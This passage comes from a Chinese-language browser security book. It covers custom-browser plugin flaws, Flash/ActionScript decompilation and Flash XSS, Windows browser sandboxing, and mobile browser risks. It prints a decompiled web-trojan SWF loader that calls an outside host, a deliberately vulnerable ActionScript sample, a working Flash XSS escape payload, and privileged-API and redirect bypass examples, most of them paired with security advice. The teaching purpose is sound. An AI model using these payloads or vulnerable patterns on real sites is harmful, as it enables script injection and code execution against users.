攻击者可以采用形如window.open（"chrome：//xxx"）.external.xxx（""）；，也即可以通过如下方式来调用页面的API，这是一个严重的同源检查问题，应当极力避免。

var obj = window.open("chrome://xxxxx");
obj.external.xxxxx(.....);


安全建议：




包含特权API的域应当严格遵守安全规范，例如chrome：//的链接不允许通过非同源网页访问，包括DOM中anchor的href=chrome：//xx、window.open（"chrome：//xx"）、form action=chrome：//xxxxxx、location.href、location.replace、location.assign应当全部加以限制，只能通过地址栏输入或浏览器自己导航来访问，这样会比较安全。

5.2.6　Content Script劫持

危害：信息泄露→高权限函数引用暴露

在不支持Content Script的浏览器（如IE）中，如果通过插件向页面注入代码，则应当十分小心。页面可以通过劫持注入的函数，并获取引用，导致敏感信息泄露。

gainover曾经报告过QQ浏览器账号助手的问题，详情可以参见：

http://www.wooyun.org/bugs/wooyun-2010-0111199

安全建议：

在需要注入网页时，尽量给网页中注入的内容添加一个脚本无法计算的、各用户却不同的值。例如浏览器计算出的用户机器的MAC地址的哈希值。但是这个注入的内容也需要经过良好的加密，以免造成修复了Content Script劫持带来的问题又再次引入信息泄露的新问题。推荐将值加盐并使用单向散列函数对获取的用户值进行哈希运算。这样可以既保证根据各用户产生变化性，让JavaScript无法计算，又不会造成信息泄露。

5.2.7　权限隔离失败

危害：权限隔离失败→特权API暴露→任意代码执行

Chrome支持Blob，该协议可以载入data，执行一段脚本，类同data：text/html，code。在一些浏览器中可能导致意想不到的权限隔离失败。

如百度浏览器支持位于本地域的网页调用特权API，但是不允许网页从HTTP（S）协议中直接转入bdbrowser或者file协议，但是通过filesystem对象的blob可以突破此限制调用到特权API，gainover提供了这样一个思路，详情可以参考：

《百度浏览器远程命令执行二-绕过特权域限制》

http://www.wooyun.org/bugs/wooyun-2010-080438

安全建议：

在处理协议跳转时，尽量涵盖所有的路径，如果可能可以尽量参照Chrome官方的做法。

5.2.8　配合切核策略+本地内部页XSS执行代码

危害：特权域API泄露→任意代码执行

这里依然是百度浏览器的一个例子，百度浏览器在实现切核策略时，对通过FTP/UNC协议展示的HTML文件使用IE核心渲染。

而旧版本的百度浏览器的本地自带的文件（一些内部页）又存在XSS，XSS Filter在IE核心下一旦被绕过便可能导致任意代码执行。

漏洞的例子：

《百度浏览器远程命令执行三》

http://www.wooyun.org/bugs/wooyun-2010-080910

安全建议：

浏览器在任何时刻都应当维持安全性，例如采用IE模式渲染时，应当开启IE提供的XSS Filter，而内部页则建议使用固定的核心渲染，如果内部页面有需求可被其他页面打开，则打开后不应当跟随打开者的核心，而应当采用固定的渲染内核并配上合适的CSP策略。

5.2.9　下载服务器限制宽松

危害：任意代码执行

浏览器在使用自家的下载服务器，下载并安装插件的时，为确保安全，限制下载服务器时不应过于宽泛。例如旧版本的百度浏览器下载时限制下载服务器为*.baidu.com/*.crx，可以让导致攻击者找到一个百度域下的302跳转（形如：xxxx.baidu.com/jumpto？http://eval.site/eval.crx）即可绕过该检测。

漏洞的例子：

《百度浏览器远程命令执行四》

http://www.wooyun.org/bugs/wooyun-2010-081309

安全建议：

在设计下载部分代码的安全校验时，必须指定少而固定的列表，下载服务器不同于其他内容，不应当有如此宽泛的限制。

5.2.10　TLDs判定问题

危害：信息泄露

在一些与域判断有关的插件中，可能存在顶级域判断的问题。由于顶级域不一定只有一个点号（如.com、.cn等），还可能有常见的两点（.com.cn、.net.cn等），因此许多插件可能会采用一个顶级域白名单依次判断。

在判断时，这个顶级域的白名单需要绝对精准，否则一些比较“偏门”的顶级域则不一定能识别，尤其是这些顶级域包含两个点号的时候，如果错误识别，则可能会被浏览器误将保存的信息填充到不该填充的域中。

顶级域名表中有多个地方的顶级域，例如.ah.cn（安徽区域）、.bj.cn（北京区域），这些顶级域可能被误识别为.cn的TLD后导致出问题。

安全建议：

在判断时一定要选择最新的、完整的TLD列表去进行判断。在比对时，应当从长（点号多的）到短依次识别判断。

5.2.11　经典漏洞

危害：浏览器崩溃，或任意代码执行

例如旧版的Firefox官方的切核插件匹配*.10086.cn/*这条规则切换IE内核时，如果攻击者指定在图片文件中src时，如果src大于65535字节会导致程序处理异常，使得整个浏览器崩溃。

其他的一些经典漏洞例如缓冲区溢出等，同样会导致各种严重的问题。

安全建议：

使用插件时，尽量使用由官方出品的插件。而且使用时请尽量保持插件能够及时更新到最新版本。

5.2.12　中间人

危害：各种问题都有可能出现

经典的中间人攻击方法。通常浏览器在更新组件或是安装插件、扩展时，如果攻击者通过中间人的方式调包了下载回来的安装包，则很有可能会误导浏览器安装上恶意插件。

安全建议：

在浏览器配置下载服务器时，建议使用HTTPS连接代替HTTP连接并阻止客户端使用HTTP连接来下载应用。同时，在浏览器下载完成决定安装应用的时候，一定要对应用进行校验，这可以是基于某种文件签名算法对内容的有效性进行二次审查，并在通过之后准许安装应用。


	
统计结果为2015年10月各浏览器份额。结果由UA区分，可能存在不准确现象，例如360浏览器采用和Chrome一样的UA，因此统计混杂在Chrome一栏中。数据来源http://tongji.baidu.com/data/browser/。返回
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5.3　Adobe Flash插件与Action Script

根据Adobe官方网站的介绍[image: http://www.adobe.com/products/flashruntimes/statistics.html]

 ，Adobe Flash Player至少拥有十亿级别的装机量，而从Windows 10开始，Microsoft Edge浏览器还将内置Adobe Flash Player，这将进一步增大Adobe Flash Player的规模。接下来，让我们了解一下Adobe Flash插件的安全问题和解决方案。



5.3.1　Flash的语言——Action Script




交互式Flash的语言便是Action Script，它的语法与一些常见的面向对象的语言有很多相似之处，如果你曾经有Java、C#之类语言的编程经验，那么当你看到AS代码时可能并不会感到陌生。

Flash可以不依靠于Action Script存在，但是这样Flash就只能单纯地播放动画。要构建强动态性、可快速响应、可定制内容的Flash文档，Action Script是必不可少的。

[image: ]
图5-10：AS和Flash的关系



在经过编译器处理后，Action Script会被编译为SWF文件。这有些类似源代码生成EXE的过程。经过Zlib压缩过的SWF文件头为“CWS”，无压缩为“FWS”。

在本节中，我们将只介绍在实战操作中常见的Flash Player API和Action Script的特性。更为细节化的内容可以参考Adobe的官方文档。

与Java编译生成的文件类似，Flash编译器在编译AS源代码时，会在SWF内部生成一个字符串映射表（constant pool）。映射表中，存储有“数字：字符串”的值对，在字节码解释时，会提取出这些字节码对应的字符来使用。

[image: ]
图5-11：IDA插件Adobe Flash disassembler[image: http://www.woodmann.com/collaborative/tools/index.php/Adobe_Flash_disassembler]

 提供的Flash字节码查看功能




SWF的反编译则是从映射表取出字符填回代码，生成可以被人阅读的代码的过程。由于反编译是如此简单，为了防止自己的代码被轻易地解出来，发布者一般会对代码进行混淆和加密。这包含对变量名称的替换，以及对关键数据的加密。接下来我们会了解SWF文件的反编译方法，这样在遇到包含有漏洞的Flash文档的时候，处理起来会更加容易。

5.3.2　Flash文档的反编译、再编译与调试

能反编译Flash文档的工具相当多，免费的有JPEXS Free Flash Decompiler[image: https://www.free-decompiler.com/flash/]

 、SWiX Free等。我们将采用前者来演示。JPEXS的使用非常简单，选择“打开”按钮，然后指定一个swf文件，该软件即会迅速地反编译Flash并还原代码。


以某个网马的swf为例，打开后可以得知该FLASH有一个DoAction方法与Frame 1绑定，Flash在播放后即会：

1．获取当前播放器版本号（第3行）；

2．加载http://www.**.cn/[版本号]i.swf处的影片（第4行）；

3．停止自身的播放（第5行）。第1、2行是垃圾代码。

[image: ]
图5-12：JPEXS反编译时的样子



这个SWF相当于针对不同的Flash版本执行不同的攻击代码用的“跳板”。将代码藏在SWF中而不是网页的脚本中可以减少被杀毒软件截获的概率。

如果反编译的窗口出现了严重的解析问题，也可以查看右边的“P代码资源区”窗口，这里P代码意思便是伪代码（Pseudo Code），可以根据这个伪代码来分析左侧可能分析有误的内容。

ConstantPool"v""/:$version""http://www.***110.cn/""i.swf""_root"
Push "\x00" 591.0
DefineLocal
Push "\x00" 1.0
DefineLocal
Push "v" "/:$version"
GetVariable
DefineLocal
Push "http://www.***110.cn/" "v"
GetVariable
Add2
Push "i.swf"
Add2
Push "_root"
GetVariable
GetURL2 false true 0
Stop


单击“导出到FLA”，可以将swf还原成fla文件，在保存时记得选择和自己的编辑器相兼容的文件版本。保存后，打开fla文件，让我们简单调试一下，将loadMovie一行改为trace。trace相当于JavaScript中的console.log，它将把文字内容输出到控制台中。




[image: ]
图5-13：在编辑器中使用trace跟踪输出



单击调试-调试影片-调试，或者按下Ctrl+Shift+Enter组合键可以编译Swf并调试。运行影片，即可在“输出”窗口中看到输出信息。

[image: ]
图5-14：调试时输出的结果



以上便是调试一个SWF的基本方法，在分析木马或是商业软件（当然，商业软件的反编译可能是违反用户协议或违法的）时，反编译出的内容可能会经过较为强力的混淆，这时，灵活地利用trace或其他跟踪方式来对代码进行调试，可以使得分析流程加快很多。

5.3.3　SWF的网络交互：URLLoader

接下来让我们看SWF中发起HTTP请求的方法。SWF中提供了URLLoader，它可以通过指定的URLRequest执行HTTP请求，并取得请求的原始响应数据。SWF中的URLLoader可以通过类似下列代码的形式来加载网址：

var loader:URLLoader = new URLLoader(new URLRequest("http://example.org/"));


通过向URLLoader绑定事件Event.COMPLETE，可以在下载完成时，收到一次回调。这样的代码看起来像是：




loader.addEventListener(Event.COMPLETE, onLoadComplete);


回调函数的用法如：




protected function onLoadComplete(event: Event): void
{
    trace(URLLoader(event.target).data);
}


回调触发时data中存储的便是返回后的数据。使用URLLoader，可以让SWF文件远程获取信息。在分析PoC或网马时，如果遇到这样的代码，可以优先考虑是一段攻击载荷，也可能正在触发某个URLLoader漏洞，又或是在向服务器回报某些数据。




另外，只想发送请求但是不需要知道返回信息是什么的时候，可以使用sendToURL，它的用法类似于：

sendToURL(new URLRequest("http://example.org"));

5.3.4　crossdomain.xml与Flash的“沙盒”

Flash Player的安全机制也建立在“沙盒”的概念之上，这里的“沙盒”也是某种权限的限制行为。Flash认为每个站点都应该运行在它自己的范围内之中，一个站点上的数据不应该与其他站点的数据混合起来。这有些类似浏览器的“同源策略”，但是Flash的规则相对更为宽泛。默认情况下，Flash Player的安全模型有时会阻止或提示跨域访问的行为。

对开发者来说，开发者有义务向Flash Player证明代码中某些操作是预期内的。如无特殊声明，SWF文件只能访问同域下的数据。而如果想要访问其他域，则开发者或使用者必须在crossdomain.xml文件中声明这个动作确定是安全
 的。

将crossdomain.xml放到服务器根目录下，Flash Player会自动找到它。如果多个SWF需要访问不同的域时，可以使用Security.loadPolicyFile（）来从指定位置加载配置文件。

一个标准的crossdomain.xml看起来像是

<?xml version="1.0"?>
<cross-domain-policy>
    <allow-access-from domain="*.example.org"/>
</cross-domain-policy>


在allow-access-from中标记的域是使用者视为可信的域，在开发过程中切不可贪图省事，将其值设为*，这样等同于关闭了Flash Player的沙盒安全机制。




5.3.5　ExternalInterface

在浏览器中部署的Flash可以通过ExternalInterface方式来和JavaScript通信、互相调用各自的函数[image: ActionScript也是符合ECMAScript规范的语言。事实上JavaScript中的基本类型都可以被ActionScript拿来使用。]

 。ExternalInterface类位于flash.external包中。在Flash文档中调用ExternalInterface.call（）方法即可调用JavaScript函数。例如下列语句会在当前网页中弹出对话框“1”（相当于调用了javascript：alert（"1"）；）。


ExternalInterface.call("alert","1");


此外，也可以向call中传递一个匿名函数，例如ExternalInterface.call（"function（）{alert（1）；}"）；。也同样会弹出对话框“1”。




在JavaScript中调用ActionScript提供的方法也很简单，只要使用ExternalInterface.addCallBack（“Javascript可使用的函数名”，ActionScript中对应的函数名）；添加一个合适的回调函数便可在JavaScript中调用了。

例如使用下列语句即可调用inAs方法。

//in ActionScript:
ExternalInterface.addCallback("forJs", inAs);
//in JavaScript:
document.getElementById("YourFlashObjectName").forJs();


为了能够进行脚本交互，AllowScriptAccess值必须设置成适合的内容。可用的值如：





	always：Flash可以在任意域
 下与页面脚本交互。

	sameDomain：Flash仅可与同域下的页面脚本交互，这也是默认值。

	never：Flash不可与页面脚本交互。



同样，还是建议使用sameDomain或是never，除非Flash文档不包含交互内容或是对代码质量十分有信心，否则请不要使用always。

5.3.6　FLASH XSS

那么，在网页中常见的Flash XSS又是怎样触发的呢？前一节我们提到调用ExternalInterface.call（"alert"，"1"）；可以执行alert（1）。

让我们进行一个试验，制作一个Flash文档，当用户单击按钮时，执行ExternalInterface.call（"alert"，"1"）；。一个比较极端的想法是，攻击者在页面中重载被调用函数（本例是alert函数）即可完成一次JavaScript劫持。

[image: ]
图5-15：alert被console.log劫持，单击按钮后在控制台输出1



而这种情况并不是特别使用，如果能覆盖函数，大部分情况下攻击者已经有了操作当前页面代码的权限了，完全不必通过这种方式来触发攻击。

接下来我们介绍另外几种更为常见的情况。假设有如下代码：

package  {
    import flash.display.Sprite;
    import flash.events.MouseEvent;
    import flash.external.*;

    public class testXSS extends Sprite{

        public function testXSS() {
            xss.addEventListener(MouseEvent.CLICK, changeState);
        }

        private function changeState(e:MouseEvent):void {
                





var myTest:String = loaderInfo.parameters.myTest;
                





var param:String = "1";
                





ExternalInterface.call(myTest, param);
        }
    }
}


代码的含义是：先搜索传递给Flash的参数中是否有“myTest”，如果有，调用myTest中指定的函数，参数为“1”。




在Adobe Flash Professional CS5中将其编译，然后在浏览器中调用testxss.swf？myTest=alert即可弹出“1”。同理，如果需要执行其他函数，只需要直接将内容赋予myTest即可。如果需要执行多行代码，使用匿名函数function（）{XX}即可。在Chrome中执行效果如图5-16所示。

[image: ]
图5-16：Flash XSS的效果



ExternalInterface.call是如何工作的呢？我们换用IE，在包含Flash的页面中按下F12并单击左侧的图标，选择Flash生成的代码块。可以发现ExternalInterface.call执行时完全依靠一个名为__flash__toXML的函数。Flash简单地将我们的输入作为__flash__toXML的参数传入并执行。

[image: ]
图5-17：Flash的脚本输出



看看这里传给__flash__toXML的参数，Flash只是简单地做了字符串拼接，拼出了myTest（“param”）；这样的代码（myTest和param是我们在AS中声明的变量）。字符串类型的param变量只是简单地放到了双引号内，如果我们稍加修改，是否同样可以产生问题？

让我们再编写一个测试用Flash，这次我们要在Flash的输出中构造XSS。

package  {
    import flash.display.Sprite;
    import flash.events.MouseEvent;
    import flash.external.*;

    public class testXSS extends Sprite{

        public function testXSS() {
            xss.addEventListener(MouseEvent.CLICK, changeState);
}

        private function changeState(e:MouseEvent):void {
            var param:String = loaderInfo.parameters.myTest;
            ExternalInterface.call("alert", param);
        }
    }
}


代码的含义是：先搜索传递给Flash的参数中是否有“myTest”，如果有，将其作为alert的参数执行。




先试验一下，如果我们手动传入双引号"来封闭参数，Flash会将其转为alert（"\""）；，这使得它变成了正常的双引号，无法利用。

如果我们传入\"，可以发现Flash并没有对我们输入的“\”进行转意，因此输出变为了alert（"\\""）；，加下画线的部分是Flash添加的转意符号。也就是说后一个\与我们输入的那个\连起来，变成了一个斜线字符，双引号的匹配变成了：alert（"\\""）；（下画线部分是匹配的双引号）。这和普通的XSS形成方式类似，假如我们传入myTest=\"））；alert（3）；}catch（e）{}//，那么这个函数的输出就会变成：

try{……





alert("\\");alert(3);catch(e){}//")}……








我们提供的alert（3）便会跑到双引号范围之外，形成一个Flash XSS。图5-18是执行的效果。




[image: ]
图5-18：Flash XSS的执行效果



除此之外，Flash在网页内输出的点都可以尝试使用代码控制。如果Flash程序员在编写一个需要和网页产生交互的Flash动画时，在处理参数和函数名时一定要特别注意。程序员需要根据自己的需求来过滤网页传来的参数。过滤时可以将敏感的字符（如双引号、斜线等）转换成全角符号。

5.3.7　Microsoft Edge中的Flash ActiveX

许多新闻报道微软宣布Microsoft Edge已不支持ActiveX，让我们做一个试验。让我们先编写一个ActiveX插件，然后使用Edge浏览器打开含加载ActiveX代码的页面，访问该ActiveX，可以发现页面中确实并未加载该ActiveX控件：

[image: ]
图5-19：Object未定义



虽然页面中有test对象，但是事实上只是一个空壳而已，使用工具查看Edge的内存也可得出同样结论——这个OCX并没加载到内存中去。

[image: ]
图5-20：内存中没有OCX模块



在IE中，Flash插件一直以ActiveX的形式存在。在Edge中应该也考虑到了这个问题，Edge自带的Flash加载形式是什么呢？为了验证这个问题，我们使用Edge访问一下含有Flash的页面。参考进程列表可以发现，Edge在执行到包含有Flash的页面时，会启动一个FlashUtil_ActiveX.exe进程，在仔细查看Edge的进程模块后，我们可以发现在%Windir%\system32\macromed\flash下就存放着Flash插件。

[image: ]
图5-21：Flash ActiveX被载入内存



所以这说明虽然Edge禁止了绝大多数的插件，但是它其实还是保留着加载ActiveX控件的能力的，只不过控制在极为有限的范围内而已。

[image: ]
图5-22：Flash Player的文件属性




	
http://www.adobe.com/products/flashruntimes/statistics.html返回




	
http://www.woodmann.com/collaborative/tools/index.php/Adobe_Flash_disassembler返回




	
https://www.free-decompiler.com/flash/返回




	
ActionScript也是符合ECMAScript规范的语言。事实上JavaScript中的基本类型都可以被ActionScript拿来使用。返回







5.4　浏览器的沙盒

最后，让我们介绍一下浏览器的沙盒特性。之前我们提到了许多沙盒，“沙盒”一词在这里主要还是指限制权限的环境。浏览器通过沙盒将代码限制在一个权限很低的范围内运行，只要攻击者不脱出沙盒的限制，攻击者即使拿到了被保护进程的任意代码执行的权限，也将无法执行任何程序或读取任何系统配置。

这是最小特权原则的一个应用。浏览器中接受用户输入最多的部件便是网络进程。一般网页进程只需要负责处理渲染网页即可，完全没有必要给其赋予执行进程或是读取系统设置等的权限，因此将网页进程放到这个受限的区域，剥夺其几乎所有“不应”拥有的权限，将大大地增强浏览器的安全性。

5.4.1　受限令牌

Windows的安全模型中有这样一个概念：当某个进程要访问某个对象的时候，如果它拥有合适的权限才可以得到进一步操作的权限。Windows使用安全标识符（SID，Security Identifier）来标识系统中执行动作的实体，包括用户、本地用户组、域中的用户组、本地计算机、域和域的成员都有SID。例如在笔者的计算机中，用户SID是：

S-1-5-21-2756483319-3380622686-1802870456-1000


这个SID的含义是：版本号1、标识符机构值5，以及四个子机构值（21、2756483319、3380622686、1802870456）以及一个RID（相对标识符，Relative Identifer）1000
 [image: 用户账户和组的RID是从1000开始的，对于每个新用户和组，RID递增1。1000表示这是发放的第1个SID。]

 。


Windows使用访问令牌来识别进程或者线程的安全环境，这个安全环境包含了进程或线程相关的权限、账户和组，也即一个进程属于哪个用户组、能做什么事情。访问令牌是可以定制的，浏览器通过创建一个受限令牌（Restricted Token）来因移除权限和禁用一些组，这便是沙盒机制的一环。受限令牌可以：


	从某个令牌中移除权限；

	对某些SID添加仅拒绝访问属性，被拒绝的SID无法访问安全对象；

	指定一组受限SID来限制它们访问安全对象的能力。



当访问与ACL（Access Control List，访问控制列表）或者安全描述符（Security Descriptor）关联起来的安全资源（Securable Resource）时，操作系统使用受限SID列表来检查某个Token是否能够授予访问的权限。系统会使用令牌中允许访问的SID和禁止访问的SID分别检查是否可以访问。如果这两个检查都通过之后，才可以有访问权限。

以Chrome为例，Chrome在加载网页进程时便会创建一个受限令牌，从这个进程中移除所有的权限、禁止所有的用户组。Chrome设置允许访问的列表中仅有NULL SID，也就是说即使攻击者控制了网页进程，他也没有任何能力去操作系统中的安全资源，如果没有其他突破手段，那这次攻击几乎对用户是没有影响的。当然，不是所有Windows的资源都在这个安全模型之下，键盘、鼠标、光标、图标、窗口就没有安全描述符，当访问这些内容时，系统并不会执行安全检查。

[image: ]
图5-23：Chrome的网页进程的安全标记



这个列表中你也看到了Chrome的网页进程分属于强制性标签（Mandatory Label）的不可信级别（Untrusted Mandatory Level）下。这又是另一个Windows的安全机制。

5.4.2　完整性级别与IE的保护模式

Vista起Windows引入了强制完整性控制（MIC，Mandatory Integrity Control）的概念，它使用完整性级别（Integrity Level，下简称IL）来区分文件系统上的对象、注册表位置和一些API的使用。

Windows给出了一些基本的程序交流和数据访问的规则，比如，程序不能“向上”访问。例如，一个中IL进程不能“向上”访问、修改和执行一个高IL的对象。而不同IL的进程如果需要通信，则必须通过二者间较低IL的通道来通信，例如通过建立一个低IL的管道进行通信。还有，进程不能执行比自己更高IL的进程，如果这么做了，系统的UAC会发出提示。虽然还有很多内容，不过基本规则就是：进程拥有可操作的最小权限，如果需要更高权限则需要用户允许。

Windows仍然使用SID来表示程序的完整性级别[image: S-1-16-XXXX，XXXX为0、4096、8192、12288、16384。分别代表不可信、低、中、高、系统完整性级别。]

 ，程序运行的完整性级别包括不可信、低、中、高、系统等，级别越低，权限也就越低。在Vista之后，系统除了执行标准的访问控制检查，还会检查完整性级别标识与目标资源的等级是否一致。通过将进程置于不可信的完整性级别上，进程将难以访问所有等级比它高的内容。


在IE引入的保护模式（或称LoRIE/Low-Rights IE，低权限IE）也使用了类似的内容，使用了MIC和UIPI（User Interface Privilege Isolation，用户界面权限隔离）。MIC即我们之前说的这些，禁止低IL的进程访问高IL的资源和API（例如OpenProcess、OpenThread、CreateRemoteThread）。UIPI则阻止了某些窗口事件消息发送到高IL窗口中，这可以避免攻击者控制了低IL窗口之后将消息抛到高IL窗口中执行攻击。当然，对一些ActiveX插件来说，这也会引发各种兼容性问题，所以IE也提供了一些封装后的API来使用，可以缓解运行在低IL进程中的ActiveX插件的兼容性问题。

[image: ]
图5-24：IE保护模式的状态



另外IE还有一个增强保护模式（Enhanced Protect Mode），它通过在64位Windows上使用64位IE进程来提高攻击者攻击成本。对于Windows 8以上的系统增强保护模式除了将进程转为64位，还会进一步降级网页和Tab进程的IL为AppContainer，AppContainer比低IL的限制还要严格，所以可以说更安全了。

IE7中，中IL“中介进程”（用于给低IL进程做通信用的进程）进程名是ieuser.exe，在IE8开始，微软引入了松散耦合进程框架（LCIE，Loosely Coupled Internet Explorer），它使用任务对象来限制进程权限，ieuser.exe的功能又重新整合回了iexplore.exe中。而在Chrome中也有类似的考虑，因为这些访问控制不包括鼠标、键盘、桌面等内容，因此也采用了任务对象来限制网页进程的权限。

5.4.3　任务对象

Windows中的任务对象可以被当作一个统一的单位去管理，与某个任务关联的进程的安全性都是可以统一调控的，这对目前大部分采用多进程结构的浏览器很有用。浏览器大可将自己的网页进程全部限制在少量的任务对象中，给它们统一的权限控制。

被任务对象所限制的权限将应用到任务对象关联的所有进程上，这些进程如果调用了一些超出限制的内容，系统会直接忽略不去执行具体的内容。一些可用的限制如下：


	JOBOBJECT_BASIC_LIMIT_INFORMATION

	JOBOBJECT_BASIC_UI_RESTRICTIONS

	JOBOBJECT_CPU_RATE_CONTROL_INFORMATION

	JOBOBJECT_EXTENDED_LIMIT_INFORMATION

	JOBOBJECT_NOTIFICATION_LIMIT_INFORMATION



Chrome在任务对象中施加了许多限制，为了防止网页进程看到屏幕显示的内容或者记录鼠标键盘的操作，Chrome中还将其放置在另一个独立的桌面中。在Process Explorer中可以观察Chrome的网页进程，可以看到处于这个未命名Job中的进程有着许多限制，例如在发生无法处理的异常时结束进程，限制访问桌面、显示设置、关闭系统、全局原子、用户句柄、读写剪贴板、管理员访问、系统参数等。

[image: ]
图5-25：Process Explorer中查看Job对象



可以说，基于Windows的安全模型，浏览器通过受限令牌、完整性级别、任务对象的组合，构造出了沙盒这一概念。如果Windows的安全模型出现了问题，也同样会使沙盒的安全性受到影响。另外，一些文件系统例如FAT32并不支持权限管理，因此同样可能不受保护。但是无论如何，沙盒的概念成功地构造起了一个强大的壁垒，为浏览器安全起到了重要作用。


	
用户账户和组的RID是从1000开始的，对于每个新用户和组，RID递增1。1000表示这是发放的第1个SID。返回




	
S-1-16-XXXX，XXXX为0、4096、8192、12288、16384。分别代表不可信、低、中、高、系统完整性级别。返回







5.5　本章小结

在本章中，我们首先介绍了ActiveX和NPAPI DLL以及它们的安全问题。然后介绍了针对ActiveX插件的逻辑漏洞的挖掘方法，介绍使用COMRaider来挖掘逻辑漏洞的方法。

然后，我们整理了近年来乌云上典型的定制浏览器插件漏洞的形式和利用方法，并根据实例提出了一些安全改进建议。

接下来，我们介绍了Action Script和Flash的相关内容，介绍了Action Script中进行网络操作的几种方式，并介绍了Flash反编译工具的使用方法，以及针对反编译后Flash文件的调试方法。针对Flash的安全问题，我们还介绍了Flash XSS的利用方法以及原理。

最后，我们介绍了浏览器沙盒的相关知识，我们知道浏览器沙盒实际上限制了网页进程的权限，浏览器使用系统提供的安全特性，将网页进程的权限限制在一个非常低的范围内，这有效地增大了攻击者攻击的难度。


6　移动端的浏览器安全

距离最早的WAP浏览器正式发布已经有十几个年头了，虽然许多人都认为WAP页面应当逐渐淘汰，但是直到现在仍有网站在使用WAP，让我们从这个老旧的规范可能引发的问题说起。HTTP是一个无状态的协议，因此，如果使用古老的、不支持Cookie的WAP浏览器，要传递状态只能通过隐藏的Web表单或者URL参数来实现。

首先，隐藏的Web表单这一种做法并不一定合适，因为一些WAP浏览器甚至古老到无法“隐藏”一个表单。所以开发者更多地使用的是把登录信息放到URL中。这种做法看似危险，但是和现在的Cookie差不多。但是将登录信息放在URL中又与Cookie不同——用户并不知道URL后面那一长串的东西是什么，在空间、贴吧、小说之类的热门网站中，用户很可能主动地把含有自己登录信息的URL“分享”给别人。这包括：


	从某个带有认证信息的URL跳转到了另外一个网站，Referrer（即用户来源网址）泄露信息；

	用户主动粘贴了地址；

	用户使用第三方服务转送了网址；

	搜索引擎爬取网站“不慎”抓取下来。



例如在2014年的漏洞报告[image: http://www.wooyun.org/bugs/wooyun-2014-058766，该漏洞已于2014年4月修复。]

 中指出，攻击者可轻易地在搜索引擎中搜索到包含登录信息的URL，带来较大的隐患。


这是受限于手机性能搞出的折中方案。现在，手机的配置俨然接近于几年前的主流计算机配置，移动端浏览器也有了更好的硬件条件去支持许多网页导航之外的功能，例如插件、多标签等。移动端的问题和PC端更为“同质化”，因此问题的面也就更多了。

[image: ]
图6-1：搜索引擎中的WAP链接



首先，不得不重视一下听起来像是玩笑的“物理安全性”。移动终端的特性便是方便携带，但这也使得移动终端更易丢失，或是遭到偷窥，不少人都不去设置密码或是设置容易破解的密码，这使得他人在捡拾手机之后可能会获取到更多敏感信息，6.3节我们将叙述一例Windows Phone 8的IE在丢失后保存密码被轻易窃取的例子。

移动端浏览器和桌面浏览器受到的威胁几乎一样。钓鱼网站、挂马网站等是常见的攻击手段。浏览器漏洞也同样严重影响移动设备的信息安全。移动端还有一个突出的一个特点是——屏幕过小。因此移动设备上的浏览器会采用更为大胆的隐藏地址栏、合并UI、下滑页面自动全屏等动作，这些操作都在为用户能够接收到的信息做减法，在一些苛刻的情况下，依然可能会影响到浏览器自身的安全。

在CVE漏洞平台上，2012年至2015年四年间共有近百个Android、iOS原生浏览器的漏洞被归档，类型多种多样，涵盖同源策略绕过、地址栏伪造、特权提升、证书伪造、远程代码执行、信息泄露等。


	
http://www.wooyun.org/bugs/wooyun-2014-058766，该漏洞已于2014年4月修复。返回







6.1　移动浏览器的安全状况


	Android



谷歌给其他程序开放的显示网页的控件名为WebView。安卓原生的浏览器分为原生浏览器（适用于4.4及更早的版本）以及Chromium（适用于高于4.4的版本）两种。原生浏览器采用WebKit内核，和标准WebKit内核的区别不大，只是出于性能考虑做了一些优化处理。Chromium浏览器就是使用开源项目Chromium构建出来的。

但是，Android 4.3之前的浏览器已经没有补丁了。尽管2015年初时，4.3之前的版本占到了60％以上。这意味着即使有人发现4.3之前系统的的浏览器漏洞，Google也不会再主动提供补丁，只能依靠OEM厂商自己去处理。

谷歌表示，之所以要这么做是因为WebKit的代码规模十分巨大，开发者每个月都会添加许多新功能，因此如果要对旧版本的WebKit的安全问题进行修复，需要对各种版本都进行测试、打补丁，这是不现实的。

因此谷歌现在只是寄希望于用户能及时升级操作系统。但是显然，由于各种限制，并不是所有机器都能及时更新。从另一方面说，让每个OEM都推送升级，也是不现实的。于是这样就产生了一些“灰色地区”，这部分用户谷歌不管，OEM厂商也无暇顾及。


	iOS



在iOS中原生的浏览器为Mobile Safari。苹果要求市场中所有其他的使用Web浏览器的程序都使用苹果的框架，这个框架便是独立出来的UIWebView组件。UIWebView同样不包含UI部分，使用与Mobile Safari一样的Webkit引擎。因此，如果开发者要使用这个控件来二次开发浏览器，那必须得重新设计如标签页、密码管理器、地址栏、下载管理器等部分，这其中任一个功能都可能导致攻击。

[image: ]
图6-2：iOS 8.4系统更新的详情页面



iOS是一个封闭的系统，它可以收到来自苹果的安全补丁，这一点上Mobile Safari比开放式的Android要更为安全可靠，但是这只是意味着它能够在发生安全事件之后有应对方式，Mobile Safari自身的漏洞数量也不少，苹果有针对各产品发布安全公告。具体可以参见苹果的安全更新页。


	WinPhone



Windows Phone（本章内简称WP）是微软为移动端开发的操作系统，属于闭源操作系统。它的用户量并不是很多，因此安全问题的挖掘也并不一定是黑客们关注的重点，这一点上，WP可以称作相对“安全的”操作系统。WP中搭载的浏览器是Internet Explorer Mobile（下简称IE Mobile），它也使用Trident引擎，从WP8之后，IE Mobile使用的内核就和桌面版的IE差不多了，其他低版本的IE Mobile（实际上名称为Pocket Internet Explorer）则并没有使用同样的引擎。

WP8.1中搭载的IE Mobile 11是基于IE11的。在WP10中微软也同样打算使用Edge引擎来作为IE Mobile的引擎。与iOS类似，WP也可以接受系统定期的更新推送，然而这也和机器有关，一些补丁虽然适用于部分机型，但是微软也不一定会向这些机器推送补丁。借助开发者账号则可以提前收到一些补丁。

[image: ]
图6-3：WinPhone 8.1的更新界面



有统一的补丁推送平台是好的，但是问题也同样存在，那便是漏洞修复不及时。WP甚至有许多漏洞直到公开后几个月都没有得到及时修复。例如，Pwn2Own中HP安全实验室用来提权IE Mobile 11的4个PoC被公开到网上之后，过了整整6个月微软也没有提供补丁[image: http://wmpoweruser.com/microsoft-leaves-windows-phone-internet-explorer-vulnerability-unpatched-formore-than-6-months/]

 ，虽说不大可能受到攻击，但是这些真实存在的问题完全被忽略却不是安全人员应有的作风。



	
http://wmpoweruser.com/microsoft-leaves-windows-phone-internet-explorer-vulnerability-unpatched-formore-than-6-months/返回







6.2　移动端的威胁

